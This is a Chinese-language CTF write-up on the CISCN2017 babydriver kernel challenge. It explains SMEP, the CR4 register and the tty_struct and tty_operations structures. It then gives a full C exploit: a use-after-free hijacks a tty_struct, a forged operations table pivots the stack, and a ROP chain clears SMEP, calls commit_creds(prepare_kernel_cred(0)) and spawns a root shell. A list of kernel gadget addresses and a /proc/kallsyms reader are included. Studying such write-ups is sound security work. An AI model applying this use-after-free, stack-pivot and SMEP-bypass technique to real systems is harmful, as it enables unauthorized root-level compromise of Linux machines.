Linux内核漏洞利用 Bypass SMEP

初探Linux内核UAF中,通过UAF,以进程的cred结构体占坑,从而修改cred结构体完成了提权。本文再通过绕过SMEP保护,以ret2usr的方式来提权。这样可以同时学习SMEP机制及其绕过,以及对tty_structtty_operations结构的利用。

这里仍然用了CISCN2017-babydriver,对驱动的漏洞分析见我之前的文章初探Linux内核UAF

题目链接: 题目链接-babydriver.tar

SMEP

SMEP(Supervisor Mode Execute Protection),管理模式执行保护,是内核的一种保护机制,当CPU处于Ring 0 内核态,即CS寄存器中最低2位CPL(Current Privilege Level 当前特权级)为0时,执行用户地址空间的代码会触发页错误,这是为了防止在上篇初探Linux内核栈溢出中介绍到的ret2usr这种攻击手段。还有一个类似的保护机制SMAP,则是禁止内核态访问用户地址空间数据的。

内核是根据控制寄存器cr4的第20位来判断是否开启SMEP的:

例如,当CR4寄存器中的值如下时,smep 保护开启

1
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要像下面这样修改它的值,就可以关闭SMEP了

1
2
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

tty_struct

ptmx设备是tty设备的一种,open函数被tty核心调用,当一个用户对这个tty驱动被分配的设备节点调用opentty核心使用一个指向分配给这个设备的tty_struct结构的指针调用它,也就是说我们在调用open("/dev/ptmx", O_RDWR)之后会新创建一个tty_struct结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// Linux-4.19.65-source/include/linux/tty.h

/*
* Where all of the state associated with a tty is kept while the tty
* is open. Since the termios state should be kept even if the tty
* has been closed --- for things like the baud rate, etc --- it is
* not stored here, but rather a pointer to the real state is stored
* here. Possible the winsize structure should have the same
* treatment, but (1) the default 80x24 is usually right and (2) it's
* most often used by a windowing system, which will set the correct
* size each time the window is created or resized anyway.
* - TYT, 9/14/92
*/

struct tty_operations;

struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

tty_struct结构体中,有一个重要的成员const struct tty_operations *ops,它存储着我们对上面打开的/dev/ptmx文件的操作函数集合的函数指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

而这个tty_struct也是通过kmalloc来分配内存的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// Linux-4.19.65-source/drivers/tty/tty_io.c
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;

tty = kzalloc(sizeof(*tty), GFP_KERNEL); <<---- here
if (!tty)
return NULL;

kref_init(&tty->kref);
tty->magic = TTY_MAGIC;
if (tty_ldisc_init(tty)) {
kfree(tty);
return NULL;
}
tty->session = NULL;
tty->pgrp = NULL;
mutex_init(&tty->legacy_mutex);
mutex_init(&tty->throttle_mutex);
init_rwsem(&tty->termios_rwsem);
mutex_init(&tty->winsize_mutex);
init_ldsem(&tty->ldisc_sem);
init_waitqueue_head(&tty->write_wait);
init_waitqueue_head(&tty->read_wait);
INIT_WORK(&tty->hangup_work, do_tty_hangup);
mutex_init(&tty->atomic_write_lock);
spin_lock_init(&tty->ctrl_lock);
spin_lock_init(&tty->flow_lock);
spin_lock_init(&tty->files_lock);
INIT_LIST_HEAD(&tty->tty_files);
INIT_WORK(&tty->SAK_work, do_SAK_work);

tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);

return tty;
}

// Linux-4.19.65-source/include/linux/slab.h
static inline void *kzalloc(size_t size, gfp_t flags)
{
return kmalloc(size, flags | __GFP_ZERO);
}

因此,由于tty_struct是通过kzmalloc分配堆内存的,那么也可以通过UAF控制到这个结构体,进而伪造tty_operations结构体,劫持函数调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// FROM https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/bypass_smep-zh/

fake_tty_struct fake_tty_operations
+---------+ +----------+
|magic | +----->|myfunc |
+---------+ | +----------+
|...... | | |myfunc |
|...... | | +----------+
+---------+ | |myfunc |
|*ops |-----+ +----------+
+---------+ |myfunc |
|...... | +----------+
|...... | |...... |
+---------+ +----------+

漏洞利用

这里没有开启kaslr,找到gadget地址直接用就可以了

首先,得找mov cr4, xxxx这样的gadget,这里题目链接-babydriver.tar只给了bzImage没有给vmlinux,用extract-vmlinux 解压即可

1
2
3
./extract-vmlinux.sh ./bzImage > ./vmlinux
ropper -f ./vmlinux > ./gadget 或者 ROPgadget --binary ./vmlinux > gadget.txt
cat ./gadget.txt | grep "mov cr4"

找到可用的gadget了0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

栈迁移 -> ROP

这里是UAF漏洞,没有办法直接控制栈来进行ROP,因此,得尝试进行栈迁移。用如下代码作测试,将tty_struct->tty_fops->write函数的指针改写为babyread的地址,最后通过write(fd_tty, *, *)来调用到babyread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//gcc -static -masm=intel -g -o exp2 exp2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

size_t fake_tty_operations[0x20] = {0};
size_t fake_tty_struct[4] = {0};

int main(){

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// change the babydev_struct.device_buf
// the buf_size = sizeof(struct tty_struct)
ioctl(fd1, 0x10001, 0x2e0);

// call babyrelease(), now we have a dangling pointer in fd2
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

read(fd2, fake_tty_struct, 0x18);
for(int i=0; i<0x20; i++) fake_tty_operations[i] = 0xffffffffffff0000+i ;
fake_tty_operations[7] = 0xffffffffc0000130; // tty_fops->write = babyread
fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
write(fd_tty, fake_tty_operations, 0x20); // call tty_fops->write

}

/*
babydriver.ko 0xffffffffc0000000

*/

对babyread函数下断点,观察一下call tty_fops->write时的寄存器和栈的状态,寻找栈迁移的时机。第二次断下即是我们要观察的调用了:

可以看到,当进入到babyread时,RAX寄存器的值即为fake_tty_operations结构的地址

栈回溯看看,原来是通过[rax+offset]的方式进行调用的。

因此,只需要在这里使用如mov rsp, rax等gadget,就能完成栈迁移,进行ROP了。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
//CISCN2017-babydriver
//sunxiaokong
//gcc -static -masm=intel -g -o exp2 exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

void get_usr_regs();
int get_kernel_addr();
void root();
void getshell();

size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode
size_t fake_tty_operations[0x20];
size_t fake_tty_struct[4];
size_t rop_chain[20];
size_t commit_creds;
size_t prepare_kernel_cred;

int main(){
get_usr_regs();
get_kernel_addr();

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// change the babydev_struct.device_buf
// the buf_size = sizeof(struct tty_struct)
ioctl(fd1, 0x10001, 0x2e0);

// call babyrelease(), now we have a dangling pointer in fd2
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

read(fd2, fake_tty_struct, 0x40);
fake_tty_struct[3] = (size_t)fake_tty_operations;// fake_struct->tty_fops = fake_tty_operations
for(int i=0; i<30; i++) fake_tty_operations[i] = 0xffffffff8181bfc5;;
fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
// fake_tty_operations[7] = 0xffffffff817a4aba; // push rax; pop rsp; pop rbp ; ret
fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax ; ret
fake_tty_operations[1] = (size_t)rop_chain;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
fake_tty_operations[3] = (size_t)rop_chain;

int i = 0;
rop_chain[i++] = 0xffffffff810d238d; // pop rdi ; ret
rop_chain[i++] = 0x6f0; // SMEP = 0
rop_chain[i++] = 0xffffffff81004d80; //mov cr4, rdi ; pop rbp ; ret
rop_chain[i++] = (size_t)rop_chain;
rop_chain[i++] = (size_t)root;
rop_chain[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff814e35ef; // iretq; ret;
rop_chain[i++] = (size_t)getshell;
rop_chain[i++] = usr_cs; /* saved CS */
rop_chain[i++] = usr_rflags; /* saved EFLAGS */
rop_chain[i++] = usr_rsp;
rop_chain[i++] = usr_ss;
write(fd2, fake_tty_struct, 0x20); // overwrite tty_struct
char buf[8] = {0};
write(fd_tty, buf, 8); // call tty_fops->write

}

/* save some regs of user mode */
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[^.^] save regs of user mode, done !!!\n");
}

int get_kernel_addr(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/proc/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){
// fgets:read one line at one time
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
}

if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
}

if(commit_creds && prepare_kernel_cred){
return 0;
}
}
}

void root(){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}

void getshell(){
system("/bin/sh");
}

/*
babydriver.ko 0xffffffffc0000000

0xffffffff814dc0c3 : call [rax+offset]

0xffffffff810539b1 : pop rax ; xchg eax, esp ; retf
retf = pop rip; pop cs

0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

0xffffffff810d238d : pop rdi ; ret

0xffffffff8100ce6e : pop rax ; ret

0xffffffff81171045 : pop rsp ; ret

0xffffffff81020f11 : push rax ; ret

0xffffffff8181bfc5 mov rsp,rax ; dec ebx ; ret

0xffffffff817a4aba : push rax ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

0xffffffff814ff52b : push rax ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret

*/
0%